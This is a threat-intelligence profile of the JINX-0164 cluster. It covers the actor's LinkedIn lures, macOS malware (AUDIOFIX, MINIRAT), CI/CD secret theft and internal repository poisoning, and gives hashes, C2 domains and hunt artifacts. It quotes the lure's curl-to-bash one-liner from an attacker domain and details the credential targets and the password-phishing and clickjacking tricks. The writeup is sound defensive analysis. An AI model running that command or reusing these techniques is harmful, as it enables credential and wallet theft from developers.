## Overview

JINX-0164 is a financially motivated threat cluster, first publicly named by Wiz CIRT and Wiz Research on 2026-05-27, that has targeted the cryptocurrency industry since at least mid-2025. The actor pairs LinkedIn-driven social engineering with custom macOS malware (AUDIOFIX, MINIRAT), automated CI/CD secret theft via nord-stream, and internal source-repository poisoning to propagate malware across developer infrastructure. While JINX-0164's TTPs overlap with DPRK clusters UNC1069 and Sapphire Sleet (per Microsoft's April 2026 reporting), Wiz attributes the activity to a distinct cluster with no infrastructure overlap to publicly tracked North Korean groups — and assesses the motivation as financial rather than state-directed espionage. The actor has demonstrated supply-chain capability by trojanizing version 4.9.1 of the npm package @velora-dex/sdk on 2026-04-07 (a popular DEX aggregation SDK), and has stood up an extensive lookalike-domain infrastructure spoofing Microsoft Teams, Slack, Aircall, Dialpad, BitGet, and macOS driver-update portals.

## Initial Access — LinkedIn Recruiter Lure ("Contagious Interview" variant)

JINX-0164 operators run a recruitment-themed pretext consistent with the broader "Contagious Interview" pattern attributed to DPRK clusters. Initial contact is via LinkedIn, using either compromised legitimate accounts belonging to professionals in the crypto industry or fully fabricated profiles with established connections and relevant employment history (these synthetic profiles are deleted shortly after compromise and never re-enabled). The actor proposes a virtual meeting on Microsoft Teams, Slack, Aircall, or Dialpad and sends a calendar invite pointing at a lookalike domain (e.g., `teams.cam`, `teamicrosoft.com`, `bitget-meeting.com`, `slktest.live`). Inside the spoofed meeting flow, the victim is told there is a technical error and routed to a fake troubleshooting page (e.g., `learn.bitget-meeting[.]com/.../teams-audio-issue-mac`) instructing them to execute a one-liner such as:

`/bin/bash -c "$(curl -fsSL https://apple.driver-update.io/troubleshoot/mac/audio-issue-fix.sh)"`

This "ClickFix"-style social-engineering primitive bypasses macOS Gatekeeper by relying on the victim to invoke `bash` directly against a remote URL.

## Stage 1 — Architecture-Aware Dropper Script

The remote bash script profiles the host via `uname` / `uname -m`, branches between Apple Silicon (arm64) and Intel (x86_64), and pulls the matching binary from a sibling URL on the same delivery domain (e.g., `https://apple.driver-store.com/mac/arm/driver/coreaudiod` vs `.../mac/intel/driver/coreaudiod`). The payload is saved to `~/Library/Application Support/Google/ChromeUpdater`, marked executable with `chmod +x`, and launched as `chrome.job` (or `coreaudio.job` in other variants) via `launchctl submit -l chrome.job -- "$DRIVER_PATH" --update`. Wiz identified four distinct dropper-script variants across three delivery domains; all four are macOS-only and exit silently on Linux/Windows. Known dropper hashes:

- `9c2ce925133a3bf5a924063bbef8df49918d5b7258695c1894cd18c75970157a` — fake audio-fix (apple.driver-store.com) - `402625ec79e3573a80b6de9b33fc1e503e3c7803603cd958ddd515fb0549007c` — fake audio-fix (apple.driver-update.io) - `b6cab0b3aa8e56e2427f486c74588d598ae58bb0cbc0eda6939fe171cb0aed17` — fake audio-fix (driver-updater.net) - `d4e863f9818bfb2f1dd932df6441dff204e6142c3bdb55b298cb08dc7b6a0c62` — fake Chrome-update (apple.driver-store.com) - `c6ef82d2864dfd26f117a1ef5602679153423f2742970a7949cec72722f0a01e` and `2a10ffe0367bb1b26ba2c3bc600892c21074725c0b8c9dc9161e6ceb33915460` — supply-chain delivery (89.36.224.5)

## Stage 2 — AUDIOFIX: Python 3.12 Infostealer + Backdoor

AUDIOFIX is a PyInstaller-compiled Python 3.12 binary (ARM64 + x86_64 variants) that masquerades on disk as the macOS system audio driver `coreaudiod`. On first launch it displays a native NSAlert dialog ("the fix has been completed") to placate the user, then establishes persistence by dropping a LaunchAgent under `~/Library/LaunchAgents/` with the `RunAtLoad` and `KeepAlive` flags set to true. Observed plist labels masquerade as legitimate communication apps: `com.microsoft.teams.coreaudiod.plist`, `io.aircall.workspace.helper.plist`, `com.electron.dialpad.helper.plist`.

### Credential Harvesting (broad-spectrum, fully automated)

AUDIOFIX launches dedicated routines that scrape:

- **macOS Keychain** contents (login.keychain-db) and shell-history files (`.zsh_history`, `.bash_history`). - **Browsers** — credentials, cookies, and session data across 10 browsers (Chrome, Edge, Firefox, Brave, Opera, Arc, Vivaldi, etc.). - **Cryptocurrency wallets** — 51 wallet browser extensions targeted (MetaMask, Phantom, Coinbase Wallet, Binance Chain Wallet, Trust, Rabby, etc.) plus 2 desktop wallet applications. The configuration enumerates extension IDs and pulls IndexedDB/LevelDB state. - **Developer credentials** — SSH keys (`~/.ssh/`), AWS credentials (`~/.aws/credentials`, `~/.aws/config`), GCP application-default credentials, Azure CLI tokens, Cloudflare API tokens, Kubernetes kubeconfigs, GitHub PATs (`~/.config/gh/`, `~/.netrc`, environment files), and miscellaneous dotfile-stored secrets. - **Communication apps** — Discord tokens (LevelDB), Slack cookies and local storage, Telegram `tdata` directory, local Signal database files. - **Clipboard monitor** — a background thread continuously logs clipboard contents with timestamps (specifically targeting copy-pasted wallet addresses, seed phrases, and passwords).

Collected data is POSTed to `/file/upload` on the C2 domain.

### Command and Control

AUDIOFIX has two known C2 channels:

1. **HTTPS variant (primary)** — AES-256-CBC encryption with three fallback C2 servers stored as encrypted blobs inside the binary. Hardcoded AES key `v59l2uwlow9s1ebuscgfg9k9r4voxkbs` (same key shared with MINIRAT). Two polling modes: normal (5-second interval) and stealth (randomized 10–30 minute intervals). C2 commands include arbitrary Python `exec()`, arbitrary shell commands, file download/upload, restart specific collection routines, and self-destruct. Hardcoded C2 domains: `datahub.ink` (primary, observed resolving to 208.115.220.17 and 185.175.59.85), `cloud-sync.online` (backup), `byte-io.us` (backup). 2. **Dropbox variant (earlier)** — uses hardcoded Dropbox API credentials and the `files_download` / `files_upload` / `files_list_folder` endpoints to fetch tasking and exfiltrate data. Limited backdoor functionality versus the HTTPS variant.

### Social-Engineering Auxiliary Modules

- **Password phishing**: a fake "System Update" NSAlert (built with AppKit/PyObjC) prompts for the user password. The malware validates the entered password using `sudo -k -S pwd`; on success, the cleartext is XOR-encoded (single-byte key `0xAB`) and written to `~/.zsh_cache` before exfiltration. The presence of `~/.zsh_cache` is a high-fidelity host indicator. - **TCC clickjacking**: AUDIOFIX overlays a transparent fake "Network latency detected" dialog on top of the legitimate macOS TCC permission prompt (triggered via `osascript -e` against Finder Automation). When the victim clicks OK to dismiss the fake warning, they actually click "Allow" on the hidden TCC dialog beneath, granting Full Disk Access. Curiously, this access is never used by the main codebase — its purpose may be to demonstrate the technique or set up follow-on tooling.

### Anti-Analysis

AUDIOFIX checks for debuggers (sysctl `kern.proc.pid` `P_TRACED` flag), virtualization (CPU brand-string and manufacturer-name inspection), and validates Apple code-signing on the host environment. If any check fails, the malware exits silently. A self-destruct command unloads the LaunchAgent, wipes persistence files, clears logs, purges server-side data, and deletes the binary.

## Stage 2b — MINIRAT (Supply-Chain Variant)

MINIRAT is a lightweight Go backdoor (Go module path `alibaba.xyz/minirat`, hence the name) used in the npm supply-chain branch of the operation. SHA-256 of the primary ARM64 sample: `0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270`. MINIRAT reuses the same AES key (`v59l2uwlow9s1ebuscgfg9k9r4voxkbs`) and three C2 domains as AUDIOFIX, confirming a shared toolchain. On launch it collects hostname and username, queries `https://api.ipify.org` for the public IP, uses the Mac's hardware UUID as the persistent agent identifier, and sets persistence via a plist at `~/Library/LaunchAgents/` with label `com.apple.Terminal.profiler` (RunAtLoad + KeepAlive). Backdoor commands: shell execution, file upload, file download, tar+upload of arbitrary directories. No automated credential harvesting (unlike AUDIOFIX).

## Stage 3 — Cloud and Version-Control Credential Abuse

After harvesting GitHub Personal Access Tokens from the developer endpoint, JINX-0164 pivots into the victim organization's CI/CD pipelines. The operators run the open-source tool **nord-stream** to automatically enumerate GitHub Actions secrets and Azure DevOps pipeline variables, then exfiltrate them by injecting throwaway workflows. nord-stream's default artifacts are easily fingerprinted and constitute one of the highest-fidelity hunt opportunities for this activity:

- Branch: `dev_remote_ea5Eu/test/v1` - Committer name: `nord-stream` - Committer email: `nord-stream@localhost.com` - Commit messages: "Test deployment" and "Remove test deployment" - User agent: `Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36` - GitHub workflow filename: `init_ZkITM.yaml` - Azure DevOps pipeline name: `Build_pipeline_58675`, repository: `TestDev_ea5Eu`, task: `Task fWQf8`

Cloud credentials harvested from the endpoint (AWS, GCP, Azure, Cloudflare) were observed in some sign-in attempts but the actor showed no interest in cloud enumeration or pivoting — consistent with the financial-monetization focus.

## Stage 4 — Internal Source-Repository Poisoning (Lateral Movement)

The defining innovation of JINX-0164's intrusions is the use of the victim organization's own Git repositories as a worm-like propagation vector. Using the harvested GitHub credentials, the actor commits AUDIOFIX directly into internal repositories so that other developers who pull and build are infected. Three deceptive Git tactics are used:

1. **Developer impersonation** — `committer.name` and `committer.email` are forged to impersonate other developers. Because the commit is unsigned (or signed with the attacker's key under another developer's name), it carries an "Unverified" badge on GitHub but appears authored by a trusted colleague. 2. **Direct-to-main commits** — in repositories without branch protection, the malicious commit is pushed straight to `main`. 3. **Branch hijacking** — in protected-main scenarios, the payload is inserted into an existing feature branch and waits for the legitimate developer to merge it.

The infection then propagates whenever other engineers clone, pull, or build. Wiz's customer detected the spread using GitHub Vigilant Mode (which flags the unverified badge alongside a historical GPG-key/author-name mismatch) and confirmed via GitHub audit logs that the `git push` originated from the initially compromised endpoint.

## Stage 5 — Cryptocurrency Theft and Supply-Chain Operations …